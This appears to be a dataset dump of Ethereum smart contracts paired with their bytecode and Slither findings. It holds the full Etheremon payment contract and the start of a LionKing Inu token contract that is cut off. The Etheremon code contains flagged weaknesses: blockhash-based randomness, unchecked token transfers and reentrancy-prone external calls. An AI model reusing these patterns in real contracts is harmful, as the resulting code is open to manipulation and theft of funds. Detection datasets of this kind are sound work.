address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0xeb0058ce60d753004b0efa2164f88b2a5b528e7d
pragma solidity ^0.4.16; // copyright contact@Etheremon.com contract SafeMath { /* function assert(bool assertion) internal { */ /* if (!assertion) { */ /* throw; */ /* } */ /* } // assert no longer needed once solidity is on 0.4.10 */ function safeAdd(uint256 x, uint256 y) pure internal returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) pure internal returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) pure internal returns(uint256) { uint256 z = x * y; assert((x == 0)||(z/x == y)); return z; } } contract BasicAccessControl { address public owner; // address[] public moderators; uint16 public totalModerators = 0; mapping (address => bool) public moderators; bool public isMaintaining = false; function BasicAccessControl() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyModerators() { require(msg.sender == owner || moderators[msg.sender] == true); _; } modifier isActive { require(!isMaintaining); _; } function ChangeOwner(address _newOwner) onlyOwner public { if (_newOwner != address(0)) { owner = _newOwner; } } function AddModerator(address _newModerator) onlyOwner public { if (moderators[_newModerator] == false) { moderators[_newModerator] = true; totalModerators += 1; } } function RemoveModerator(address _oldModerator) onlyOwner public { if (moderators[_oldModerator] == true) { moderators[_oldModerator] = false; totalModerators -= 1; } } function UpdateMaintaining(bool _isMaintaining) onlyOwner public { isMaintaining = _isMaintaining; } } contract EtheremonEnum { enum ResultCode { SUCCESS, ERROR_CLASS_NOT_FOUND, ERROR_LOW_BALANCE, ERROR_SEND_FAIL, ERROR_NOT_TRAINER, ERROR_NOT_ENOUGH_MONEY, ERROR_INVALID_AMOUNT } enum ArrayType { CLASS_TYPE, STAT_STEP, STAT_START, STAT_BASE, OBJ_SKILL } enum PropertyType { ANCESTOR, XFACTOR } } contract EtheremonDataBase is EtheremonEnum, BasicAccessControl, SafeMath { uint64 public totalMonster; uint32 public totalClass; // write function withdrawEther(address _sendTo, uint _amount) onlyOwner public returns(ResultCode); function addElementToArrayType(ArrayType _type, uint64 _id, uint8 _value) onlyModerators public returns(uint); function updateIndexOfArrayType(ArrayType _type, uint64 _id, uint _index, uint8 _value) onlyModerators public returns(uint); function setMonsterClass(uint32 _classId, uint256 _price, uint256 _returnPrice, bool _catchable) onlyModerators public returns(uint32); function addMonsterObj(uint32 _classId, address _trainer, string _name) onlyModerators public returns(uint64); function setMonsterObj(uint64 _objId, string _name, uint32 _exp, uint32 _createIndex, uint32 _lastClaimIndex) onlyModerators public; function increaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public; function decreaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public; function removeMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public; function addMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public; function clearMonsterReturnBalance(uint64 _monsterId) onlyModerators public returns(uint256 amount); function collectAllReturnBalance(address _trainer) onlyModerators public returns(uint256 amount); function transferMonster(address _from, address _to, uint64 _monsterId) onlyModerators public returns(ResultCode); function addExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256); function deductExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256); function setExtraBalance(address _trainer, uint256 _amount) onlyModerators public; // read function getSizeArrayType(ArrayType _type, uint64 _id) constant public returns(uint); function getElementInArrayType(ArrayType _type, uint64 _id, uint _index) constant public returns(uint8); function getMonsterClass(uint32 _classId) constant public returns(uint32 classId, uint256 price, uint256 returnPrice, uint32 total, bool catchable); function getMonsterObj(uint64 _objId) constant public returns(uint64 objId, uint32 classId, address trainer, uint32 exp, uint32 createIndex, uint32 lastClaimIndex, uint createTime); function getMonsterName(uint64 _objId) constant public returns(string name); function getExtraBalance(address _trainer) constant public returns(uint256); function getMonsterDexSize(address _trainer) constant public returns(uint); function getMonsterObjId(address _trainer, uint index) constant public returns(uint64); function getExpectedBalance(address _trainer) constant public returns(uint256); function getMonsterReturn(uint64 _objId) constant public returns(uint256 current, uint256 total); } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); } contract BattleInterface { function createCastleWithToken(address _trainer, uint32 _noBrick, string _name, uint64 _a1, uint64 _a2, uint64 _a3, uint64 _s1, uint64 _s2, uint64 _s3) external; } contract TransformInterface { function removeHatchingTimeWithToken(address _trainer) external; function buyEggWithToken(address _trainer) external; } contract AdventureInterface { function placeEMONTBid(address _bidder, uint8 _siteId, uint _bidAmount) external; } contract EtheremonPayment is EtheremonEnum, BasicAccessControl, SafeMath { uint8 constant public STAT_COUNT = 6; uint8 constant public STAT_MAX = 32; uint8 constant public GEN0_NO = 24; enum PayServiceType { NONE, FAST_HATCHING, RANDOM_EGG, ADVENTURE_PRESALE } struct MonsterClassAcc { uint32 classId; uint256 price; uint256 returnPrice; uint32 total; bool catchable; } struct MonsterObjAcc { uint64 monsterId; uint32 classId; address trainer; string name; uint32 exp; uint32 createIndex; uint32 lastClaimIndex; uint createTime; } // linked smart contract address public dataContract; address public battleContract; address public tokenContract; address public transformContract; address public adventureContract; address private lastHunter = address(0x0); // config uint public brickPrice = 6 * 10 ** 8; // 6 tokens uint public fastHatchingPrice = 35 * 10 ** 8; // 15 tokens uint public buyEggPrice = 80 * 10 ** 8; // 80 tokens uint public tokenPrice = 0.004 ether / 10 ** 8; uint public maxDexSize = 200; // event event EventCatchMonster(address indexed trainer, uint64 objId); // modifier modifier requireDataContract { require(dataContract != address(0)); _; } modifier requireBattleContract { require(battleContract != address(0)); _; } modifier requireTokenContract { require(tokenContract != address(0)); _; } modifier requireTransformContract { require(transformContract != address(0)); _; } function EtheremonPayment(address _dataContract, address _battleContract, address _tokenContract, address _transformContract, address _adventureContract) public { dataContract = _dataContract; battleContract = _battleContract; tokenContract = _tokenContract; transformContract = _transformContract; adventureContract = _adventureContract; } // helper function getRandom(uint8 maxRan, uint8 index, address priAddress) constant public returns(uint8) { uint256 genNum = uint256(block.blockhash(block.number-1)) + uint256(priAddress); for (uint8 i = 0; i < index && i < 6; i ++) { genNum /= 256; } return uint8(genNum % maxRan); } // admin function withdrawToken(address _sendTo, uint _amount) onlyModerators requireTokenContract external { ERC20Interface token = ERC20Interface(tokenContract); if (_amount > token.balanceOf(address(this))) { revert(); } token.transfer(_sendTo, _amount); } function setContract(address _dataContract, address _battleContract, address _tokenContract, address _transformContract, address _adventureContract) onlyModerators external { dataContract = _dataContract; battleContract = _battleContract; tokenContract = _tokenContract; transformContract = _transformContract; adventureContract = _adventureContract; } function setConfig(uint _brickPrice, uint _tokenPrice, uint _maxDexSize, uint _fastHatchingPrice, uint _buyEggPrice) onlyModerators external { brickPrice = _brickPrice; tokenPrice = _tokenPrice; maxDexSize = _maxDexSize; fastHatchingPrice = _fastHatchingPrice; buyEggPrice = _buyEggPrice; } // battle function giveBattleBonus(address _trainer, uint _amount) isActive requireBattleContract requireTokenContract public { if (msg.sender != battleContract) revert(); ERC20Interface token = ERC20Interface(tokenContract); token.transfer(_trainer, _amount); } function createCastle(address _trainer, uint _tokens, string _name, uint64 _a1, uint64 _a2, uint64 _a3, uint64 _s1, uint64 _s2, uint64 _s3) isActive requireBattleContract requireTokenContract public returns(uint){ if (msg.sender != tokenContract) revert(); BattleInterface battle = BattleInterface(battleContract); battle.createCastleWithToken(_trainer, uint32(_tokens/brickPrice), _name, _a1, _a2, _a3, _s1, _s2, _s3); return _tokens; } function catchMonster(address _trainer, uint _tokens, uint32 _classId, string _name) isActive requireDataContract requireTokenContract public returns(uint){ if (msg.sender != tokenContract) revert(); EtheremonDataBase data = EtheremonDataBase(dataContract); MonsterClassAcc memory class; (class.classId, class.price, class.returnPrice, class.total, class.catchable) = data.getMonsterClass(_classId); if (class.classId == 0 || class.catchable == false) { revert(); } // can not keep too much etheremon if (data.getMonsterDexSize(_trainer) > maxDexSize) revert(); uint requiredToken = class.price/tokenPrice; if (_tokens < requiredToken) revert(); // add monster uint64 objId = data.addMonsterObj(_classId, _trainer, _name); // generate base stat for the previous one for (uint i=0; i < STAT_COUNT; i+= 1) { uint8 value = getRandom(STAT_MAX, uint8(i), lastHunter) + data.getElementInArrayType(ArrayType.STAT_START, uint64(_classId), i); data.addElementToArrayType(ArrayType.STAT_BASE, objId, value); } lastHunter = _trainer; EventCatchMonster(_trainer, objId); return requiredToken; } function payService(address _trainer, uint _tokens, uint32 _type, string _text, uint64 _param1, uint64 _param2, uint64 _param3, uint64 _param4, uint64 _param5, uint64 _param6) isActive requireTransformContract public returns(uint result) { if (msg.sender != tokenContract) revert(); TransformInterface transform = TransformInterface(transformContract); AdventureInterface adventure = AdventureInterface(adventureContract); if (_type == uint32(PayServiceType.FAST_HATCHING)) { // remove hatching time if (_tokens < fastHatchingPrice) revert(); transform.removeHatchingTimeWithToken(_trainer); return fastHatchingPrice; } else if (_type == uint32(PayServiceType.RANDOM_EGG)) { if (_tokens < buyEggPrice) revert(); transform.buyEggWithToken(_trainer); return buyEggPrice; } else if (_type == uint32(PayServiceType.ADVENTURE_PRESALE)) { adventure.placeEMONTBid(_trainer, uint8(_param1), _tokens); return _tokens; } else { revert(); } } }
0x606060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630d6688181461017a57806314d0f1ba146101cf5780631649b76d146102205780631c9c549d1461024957806320eb2a871461027257806330a95aa7146103275780633a34f09a146104415780633f720922146104ac578063423b1ca3146104f357806348ef5aa8146105485780634e3dc2f11461056d5780634efb023e1461059c57806355a373d6146105cd5780635abcc417146106225780635fee0aac1461072d5780636c81fd6d1461076f57806373d65c00146107a85780637ff9b596146107d757806382d559de146108005780638da5cb5b146108a85780639e281a98146108fd578063b85d62751461093f578063bf12bf4f14610978578063d8e20e2c146109cd578063d98e14bd146109f6578063ddef642114610a25578063e182e27a14610a7a578063ee4e441614610aa3578063f285329214610ad0575b600080fd5b341561018557600080fd5b61018d610b09565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101da57600080fd5b610206600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b2f565b604051808215151515815260200191505060405180910390f35b341561022b57600080fd5b610233610b4f565b6040518082815260200191505060405180910390f35b341561025457600080fd5b61025c610b55565b6040518082815260200191505060405180910390f35b341561027d57600080fd5b610325600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b5b565b005b341561033257600080fd5b61042b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803563ffffffff1690602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff16906020019091905050610d5d565b6040518082815260200191505060405180910390f35b341561044c57600080fd5b610490600480803560ff1690602001909190803560ff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611150565b604051808260ff1660ff16815260200191505060405180910390f35b34156104b757600080fd5b6104f160048080359060200190919080359060200190919080359060200190919080359060200190919080359060200190919050506111d1565b005b34156104fe57600080fd5b6105066112b1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561055357600080fd5b61056b600480803515159060200190919050506112d7565b005b341561057857600080fd5b61058061134f565b604051808260ff1660ff16815260200191505060405180910390f35b34156105a757600080fd5b6105af611354565b604051808261ffff1661ffff16815260200191505060405180910390f35b34156105d857600080fd5b6105e0611368565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561062d57600080fd5b610717600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190505061138e565b6040518082815260200191505060405180910390f35b341561073857600080fd5b61076d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506116df565b005b341561077a57600080fd5b6107a6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611906565b005b34156107b357600080fd5b6107bb611a46565b604051808260ff1660ff16815260200191505060405180910390f35b34156107e257600080fd5b6107ea611a4b565b6040518082815260200191505060405180910390f35b341561080b57600080fd5b610892600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803563ffffffff1690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611a51565b6040518082815260200191505060405180910390f35b34156108b357600080fd5b6108bb6121ab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561090857600080fd5b61093d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506121d0565b005b341561094a57600080fd5b610976600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506124a1565b005b341561098357600080fd5b61098b6125e2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109d857600080fd5b6109e0612608565b6040518082815260200191505060405180910390f35b3415610a0157600080fd5b610a0961260e565b604051808260ff1660ff16815260200191505060405180910390f35b3415610a3057600080fd5b610a38612613565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a8557600080fd5b610a8d612639565b6040518082815260200191505060405180910390f35b3415610aae57600080fd5b610ab661263f565b604051808215151515815260200191505060405180910390f35b3415610adb57600080fd5b610b07600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612652565b005b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016020528060005260406000206000915054906101000a900460ff1681565b600c5481565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c06575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515610c1157600080fd5b84600260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505050565b6000806000600260009054906101000a900460ff16151515610d7e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515610ddc57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3857600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060016003811115610e8f57fe5b63ffffffff168b63ffffffff161415610f69576009548c1015610eb157600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a3cb3e978e6040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1515610f4b57600080fd5b6102c65a03f11515610f5c57600080fd5b5050506009549250611140565b60026003811115610f7657fe5b63ffffffff168b63ffffffff16141561105057600a548c1015610f9857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16635b86ce978e6040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b151561103257600080fd5b6102c65a03f1151561104357600080fd5b505050600a549250611140565b60038081111561105c57fe5b63ffffffff168b63ffffffff16141561113b578073ffffffffffffffffffffffffffffffffffffffff166317738cef8e8b8f6040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018360ff1660ff1681526020018281526020019350505050600060405180830381600087803b151561111f57600080fd5b6102c65a03f1151561113057600080fd5b5050508b9250611140565b600080fd5b50509a9950505050505050505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff16600143034060019004019150600090505b8460ff168160ff16108015611195575060068160ff16105b156111b757610100828115156111a757fe5b049150808060010191505061117d565b8560ff16828115156111c557fe5b06925050509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061127c575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561128757600080fd5b8460088190555083600b8190555082600c819055508160098190555080600a819055505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133257600080fd5b80600260006101000a81548160ff02191690831515021790555050565b602081565b600060149054906101000a900461ffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600260009054906101000a900460ff161515156113ad57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561140b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561146957600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114c557600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663b04e76688c6008548d81151561151457fe5b048c8c8c8c8c8c8c6040518a63ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018963ffffffff1663ffffffff168152602001806020018867ffffffffffffffff1667ffffffffffffffff1681526020018767ffffffffffffffff1667ffffffffffffffff1681526020018667ffffffffffffffff1667ffffffffffffffff1681526020018567ffffffffffffffff1667ffffffffffffffff1681526020018467ffffffffffffffff1667ffffffffffffffff1681526020018367ffffffffffffffff1667ffffffffffffffff168152602001828103825289818151815260200191508051906020019080838360005b8381101561166757808201518184015260208101905061164c565b50505050905090810190601f1680156116945780820380516001836020036101000a031916815260200191505b509a5050505050505050505050600060405180830381600087803b15156116ba57600080fd5b6102c65a03f115156116cb57600080fd5b505050899150509998505050505050505050565b6000600260009054906101000a900460ff161515156116fd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561175b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156117b957600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561181557600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156118e557600080fd5b6102c65a03f115156118f657600080fd5b5050506040518051905050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561196157600080fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611a435760018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160192506101000a81548161ffff021916908361ffff1602179055505b50565b601881565b600b5481565b600080611a5c612727565b600080600080600260009054906101000a900460ff16151515611a7e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611adc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611b3a57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b9657600080fd5b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695508573ffffffffffffffffffffffffffffffffffffffff16639d29cac48a600060405160a001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808263ffffffff1663ffffffff16815260200191505060a060405180830381600087803b1515611c3e57600080fd5b6102c65a03f11515611c4f57600080fd5b50505060405180519060200180519060200180519060200180519060200180519050896000018a6020018b6040018c6060018d60800185151515158152508563ffffffff1663ffffffff1681525085815250858152508563ffffffff1663ffffffff1681525050505050506000856000015163ffffffff161480611cdb57506000151585608001511515145b15611ce557600080fd5b600c548673ffffffffffffffffffffffffffffffffffffffff166347c17bac8d6000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515611d8b57600080fd5b6102c65a03f11515611d9c57600080fd5b505050604051805190501115611db157600080fd5b600b548560200151811515611dc257fe5b049350838a1015611dd257600080fd5b8573ffffffffffffffffffffffffffffffffffffffff1663fc4d20f58a8d8b6000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808463ffffffff1663ffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611ea9578082015181840152602081019050611e8e565b50505050905090810190601f168015611ed65780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b1515611ef657600080fd5b6102c65a03f11515611f0757600080fd5b505050604051805190509250600091505b600660ff168210156120f7578573ffffffffffffffffffffffffffffffffffffffff166362b21ad760028b63ffffffff16856000604051602001526040518463ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180846004811115611f8e57fe5b60ff1681526020018367ffffffffffffffff1667ffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515611fd457600080fd5b6102c65a03f11515611fe557600080fd5b5050506040518051905061201d602084600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611150565b0190508573ffffffffffffffffffffffffffffffffffffffff166326bda739600385846000604051602001526040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600481111561208457fe5b60ff1681526020018367ffffffffffffffff1667ffffffffffffffff1681526020018260ff1660ff1681526020019350505050602060405180830381600087803b15156120d057600080fd5b6102c65a03f115156120e157600080fd5b5050506040518051905050600182019150611f18565b8a600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508a73ffffffffffffffffffffffffffffffffffffffff167f77cb179e9e5f39d98ac520c7c9fe2d085ac4e521f56806105fdeb1032885ee0984604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390a2839650505050505050949350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061227d575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561228857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156122e657600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156123ae57600080fd5b6102c65a03f115156123bf57600080fd5b505050604051805190508211156123d557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561248057600080fd5b6102c65a03f1151561249157600080fd5b5050506040518051905050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156124fc57600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125df576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160392506101000a81548161ffff021916908361ffff1602179055505b50565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b600681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b600260009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156126ad57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561272457806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60a060405190810160405280600063ffffffff1681526020016000815260200160008152602001600063ffffffff16815260200160001515815250905600a165627a7a72305820e3592411c68ecbfc6ab1484e1790ff404ea41cbf88b82f8ecd010166dc3cc2f30029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,500
0x382edfd4219d0a2039df6164a949cc1cf1515127
/** *Submitted for verification at Etherscan.io on 2021-07-08 */ /** * LionKing Inu is going to launch in the Uniswap at July 8. This is fair launch and going to launch without any presale. tg: https://t.me/LionkingX All crypto babies will become a LionKing in here. Let's enjoy our launch! * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 